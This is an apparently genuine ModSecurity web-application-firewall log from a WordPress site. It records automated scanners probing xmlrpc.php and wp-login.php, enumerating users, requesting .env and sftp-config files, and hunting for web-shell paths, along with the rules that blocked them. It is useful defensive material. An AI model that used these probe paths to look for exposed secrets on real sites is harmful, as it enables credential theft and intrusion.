[Mon Jan 19 07:32:24.253611 2026] [:error] [pid 43300:tid 43332] [client 146.190.86.95:49627] [client 146.190.86.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.86.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1tiG7A1q4pIUqzBvEiGAAAAVg"]
[Mon Jan 19 07:32:26.555267 2026] [:error] [pid 43300:tid 43330] [client 146.190.86.95:49627] [client 146.190.86.95] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aW1tim7A1q4pIUqzBvEiLAAAAVY"]
[Mon Jan 19 07:32:28.125756 2026] [:error] [pid 43300:tid 43316] [client 146.190.86.95:49627] [client 146.190.86.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.86.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1tjG7A1q4pIUqzBvEiMwAAAUg"]
[Mon Jan 19 07:32:29.869212 2026] [:error] [pid 47439:tid 47446] [client 146.190.86.95:57076] [client 146.190.86.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.86.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1tjTr6gGCDmQscGCqLHQAAAYU"]
[Mon Jan 19 07:32:31.684583 2026] [:error] [pid 47439:tid 47462] [client 146.190.86.95:59765] [client 146.190.86.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.86.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1tjzr6gGCDmQscGCqLHwAAAZU"]
[Mon Jan 19 07:32:33.407706 2026] [:error] [pid 43300:tid 43309] [client 146.190.86.95:49382] [client 146.190.86.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.86.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1tkW7A1q4pIUqzBvEiPgAAAUE"]
[Mon Jan 19 07:32:35.145813 2026] [:error] [pid 47476:tid 47498] [client 146.190.86.95:55825] [client 146.190.86.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.86.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1tk46ielYhUA9M_-K7yQAAAdI"]
[Mon Jan 19 07:32:35.146031 2026] [:error] [pid 47476:tid 47498] [client 146.190.86.95:55825] [client 146.190.86.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 146.190.86.95, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1tk46ielYhUA9M_-K7yQAAAdI"]
[Mon Jan 19 07:48:29.723426 2026] [:error] [pid 47477:tid 47531] [client 213.165.74.202:48606] [client 213.165.74.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.165.74.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW1xTQyk7fMQliOCELderQAAAhg"]
[Mon Jan 19 07:48:31.460122 2026] [:error] [pid 47477:tid 47529] [client 213.165.74.202:48606] [client 213.165.74.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.165.74.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW1xTwyk7fMQliOCELdergAAAhY"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 19 08:15:51.040456 2026] [:error] [pid 55203:tid 55210] [client 47.242.167.96:50474] [client 47.242.167.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.242.167.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW13ty-AaXI6_wL-5XxQSAAAAMU"]
[Mon Jan 19 08:23:04.297728 2026] [:error] [pid 55203:tid 55221] [client 66.42.61.4:36210] [client 66.42.61.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.42.61.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW15aC-AaXI6_wL-5XxRzAAAANA"]
[Mon Jan 19 08:49:48.467606 2026] [:error] [pid 55092:tid 55115] [client 157.7.104.75:40230] [client 157.7.104.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.7.104.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW1_rM2DE_yLQhxnvwznEgAAAA4"]
[Mon Jan 19 08:50:05.673373 2026] [:error] [pid 43300:tid 43311] [client 157.7.104.75:50542] [client 157.7.104.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.7.104.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW1_vW7A1q4pIUqzBvE4IgAAAUM"]
[Mon Jan 19 09:09:33.797071 2026] [:error] [pid 55094:tid 55178] [client 85.203.47.139:37177] [client 85.203.47.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.203.47.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW2ETTQDy8tSKykl7U7SowAAAJY"]
[Mon Jan 19 09:09:37.997649 2026] [:error] [pid 55092:tid 55120] [client 85.203.47.114:27871] [client 85.203.47.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.203.47.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW2EUc2DE_yLQhxnvwzwQwAAABM"]
[Mon Jan 19 09:09:46.861249 2026] [:error] [pid 55093:tid 55147] [client 85.203.47.121:62471] [client 85.203.47.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.203.47.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW2EWlvejPZGx2OquyUz8AAAAFI"]
[Mon Jan 19 09:09:56.766960 2026] [:error] [pid 55093:tid 55144] [client 85.203.47.155:33035] [client 85.203.47.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.203.47.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW2EZFvejPZGx2OquyU0AAAAAE8"]
[Mon Jan 19 09:10:04.278227 2026] [:error] [pid 27680:tid 27700] [client 85.203.47.118:44571] [client 85.203.47.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.203.47.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW2EbD8azMyLC3TiDG0kvwAAAQk"]
[Mon Jan 19 09:10:10.001453 2026] [:error] [pid 55094:tid 55179] [client 85.203.47.129:63735] [client 85.203.47.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.203.47.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW2EcjQDy8tSKykl7U7TDgAAAJc"]
[Mon Jan 19 10:06:32.602238 2026] [:error] [pid 1542:tid 1617] [client 173.214.167.46:61946] [client 173.214.167.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aW2RqC9AKT0aRaKZVXSksAAAAJA"]
[Mon Jan 19 12:02:43.288541 2026] [:error] [pid 45562:tid 45611] [client 170.106.160.90:47322] [client 170.106.160.90] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aW2s4zoUil_kwpvtDW5HsAAAAFE"]
[Mon Jan 19 12:46:47.026444 2026] [:error] [pid 45657:tid 45664] [client 78.31.67.209:60780] [client 78.31.67.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.31.67.209, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW23Nw4XFYp2OcwCx-DsjwAAAMU"]
[Mon Jan 19 12:46:47.952858 2026] [:error] [pid 45563:tid 45630] [client 78.31.67.209:60764] [client 78.31.67.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.31.67.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW23N5I4--OKA-PqumwNPQAAAIk"]
[Mon Jan 19 12:47:02.013045 2026] [:error] [pid 45562:tid 45608] [client 78.31.67.209:53408] [client 78.31.67.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.31.67.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW23RjoUil_kwpvtDW5a5wAAAE4"]
[Mon Jan 19 12:47:07.357293 2026] [:error] [pid 45562:tid 45607] [client 78.31.67.209:53408] [client 78.31.67.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.31.67.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW23SzoUil_kwpvtDW5a9QAAAE0"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 19 12:47:49.808478 2026] [:error] [pid 45657:tid 45679] [client 103.77.106.118:62350] [client 103.77.106.118] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aW23dQ4XFYp2OcwCx-DtIQAAANQ"]
[Mon Jan 19 12:47:50.241974 2026] [:error] [pid 45563:tid 45640] [client 103.77.106.118:65526] [client 103.77.106.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aW23dpI4--OKA-PqumwNwwAAAJM"]
[Mon Jan 19 13:29:47.763436 2026] [:error] [pid 45562:tid 45614] [client 173.236.142.111:50348] [client 173.236.142.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.236.142.111, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW3BSzoUil_kwpvtDW5pXQAAAFQ"]
[Mon Jan 19 13:30:07.038516 2026] [:error] [pid 47089:tid 47091] [client 173.236.142.111:48638] [client 173.236.142.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.236.142.111, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW3BXxlIzijVNfdIsZ5MygAAAQA"]
[Mon Jan 19 13:30:10.853651 2026] [:error] [pid 47089:tid 47110] [client 173.236.142.111:48638] [client 173.236.142.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.236.142.111, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW3BYhlIzijVNfdIsZ5M0wAAARM"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 19 13:48:18.713929 2026] [:error] [pid 47089:tid 47097] [client 97.74.93.60:57864] [client 97.74.93.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 97.74.93.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW3FohlIzijVNfdIsZ5XOwAAAQY"]
[Mon Jan 19 13:48:21.876449 2026] [:error] [pid 45562:tid 45602] [client 103.4.122.14:32968] [client 103.4.122.14] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "66.249.68.135_2535be0d645ee29b41d0036ebeba5a0f3cbd6dd8"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/wp-cron.php"] [unique_id "aW3FpDoUil_kwpvtDW5vJwAAAEg"]
[Mon Jan 19 13:48:22.609835 2026] [:error] [pid 47089:tid 47115] [client 97.74.93.60:57864] [client 97.74.93.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 97.74.93.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW3FphlIzijVNfdIsZ5XfQAAARg"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 19 14:51:02.485314 2026] [:error] [pid 45561:tid 45573] [client 160.176.195.100:50353] [client 160.176.195.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aW3UVq4ONSZn4nkTayIKsQAAAAc"], referer: https://news.ycombinator.com/from?site=nytimes.com
[Mon Jan 19 14:51:03.840992 2026] [:error] [pid 47089:tid 47093] [client 160.176.195.100:50945] [client 160.176.195.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "aW3UVxlIzijVNfdIsZ53QgAAAQI"], referer: https://www.reddit.com/r/worldnews/comments/def789/headline/?utm_source=share&utm_medium=web2x
[Mon Jan 19 14:51:05.199711 2026] [:error] [pid 45562:tid 45600] [client 160.176.195.100:51631] [client 160.176.195.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "aW3UWToUil_kwpvtDW6CrQAAAEY"], referer: https://www.google.es/
[Mon Jan 19 14:51:06.571296 2026] [:error] [pid 45563:tid 45634] [client 160.176.195.100:52114] [client 160.176.195.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aW3UWpI4--OKA-Pqumw6RgAAAI0"], referer: https://www.goodreads.com/search?q=historical+fiction&qid=
[Mon Jan 19 14:51:07.919614 2026] [:error] [pid 45561:tid 45575] [client 160.176.195.100:52581] [client 160.176.195.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "aW3UW64ONSZn4nkTayIKvgAAAAk"], referer: https://l.facebook.com/
[Mon Jan 19 14:51:09.269928 2026] [:error] [pid 45657:tid 45667] [client 160.176.195.100:53035] [client 160.176.195.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.staging"] [unique_id "aW3UXQ4XFYp2OcwCx-AeOAAAAMg"], referer: https://duckduckgo.com/
[Mon Jan 19 14:51:10.644322 2026] [:error] [pid 45563:tid 45636] [client 160.176.195.100:53537] [client 160.176.195.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "aW3UXpI4--OKA-Pqumw6VAAAAI8"], referer: https://www.qwant.com/
[Mon Jan 19 14:51:12.006800 2026] [:error] [pid 47089:tid 47106] [client 160.176.195.100:53957] [client 160.176.195.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.test"] [unique_id "aW3UYBlIzijVNfdIsZ53YAAAAQ8"], referer: https://stackoverflow.com/search?q=%5Bcss%5D+animation&sort=newest
[Mon Jan 19 14:51:14.749413 2026] [:error] [pid 47089:tid 47110] [client 160.176.195.100:54370] [client 160.176.195.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "aW3UYhlIzijVNfdIsZ53ZwAAARM"], referer: https://www.amazon.com/
[Mon Jan 19 14:51:15.434699 2026] [:error] [pid 47089:tid 47107] [client 160.176.195.100:55209] [client 160.176.195.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aW3UYxlIzijVNfdIsZ53cQAAARA"], referer: https://www.google.com/search?q=chocolate+chip+cookie+recipe&source=hp&ei=xyz789
[Mon Jan 19 14:51:17.132613 2026] [:error] [pid 47089:tid 47098] [client 160.176.195.100:55427] [client 160.176.195.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "aW3UZRlIzijVNfdIsZ53eAAAAQc"], referer: https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Ftravelblog.com
[Mon Jan 19 16:01:11.702395 2026] [:error] [pid 45563:tid 45634] [client 154.30.2.66:35168] [client 154.30.2.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.30.2.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW3kx5I4--OKA-PqumxQpgAAAI0"]
[Mon Jan 19 16:36:03.010868 2026] [:error] [pid 47089:tid 47092] [client 103.78.97.230:25098] [client 103.78.97.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.78.97.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW3s8xlIzijVNfdIsZ6sQgAAAQE"]
[Mon Jan 19 17:57:24.069379 2026] [:error] [pid 45561:tid 45567] [client 93.89.225.34:59894] [client 93.89.225.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 93.89.225.34, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW4ABK4ONSZn4nkTayJAcgAAAAE"]
[Mon Jan 19 17:57:25.779519 2026] [:error] [pid 45561:tid 45577] [client 93.89.225.34:59894] [client 93.89.225.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 93.89.225.34, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW4ABa4ONSZn4nkTayJAcwAAAAs"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 19 19:02:33.243229 2026] [:error] [pid 45563:tid 45645] [client 68.155.153.238:23965] [client 68.155.153.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file22.php"] [unique_id "aW4PSZI4--OKA-PqumyNzwAAAJg"]
[Mon Jan 19 19:02:34.963527 2026] [:error] [pid 36216:tid 36241] [client 68.155.153.238:24054] [client 68.155.153.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file22.php"] [unique_id "aW4PSsIpfKKs9fzB-yB1rwAAAVc"]
[Mon Jan 19 19:02:36.437073 2026] [:error] [pid 47089:tid 47112] [client 68.155.153.238:24030] [client 68.155.153.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file22.php"] [unique_id "aW4PTBlIzijVNfdIsZ7krwAAARU"]
[Mon Jan 19 19:02:37.706136 2026] [:error] [pid 36216:tid 36225] [client 68.155.153.238:24032] [client 68.155.153.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file22.php"] [unique_id "aW4PTcIpfKKs9fzB-yB1sQAAAUc"]
[Mon Jan 19 19:02:38.841961 2026] [:error] [pid 45562:tid 45614] [client 68.155.153.238:24019] [client 68.155.153.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/check.php"] [unique_id "aW4PTjoUil_kwpvtDW7IAgAAAFQ"]
[Mon Jan 19 19:03:08.420759 2026] [:error] [pid 36216:tid 36241] [client 68.155.153.238:24034] [client 68.155.153.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-header-json.php"] [unique_id "aW4PbMIpfKKs9fzB-yB1uAAAAVc"]
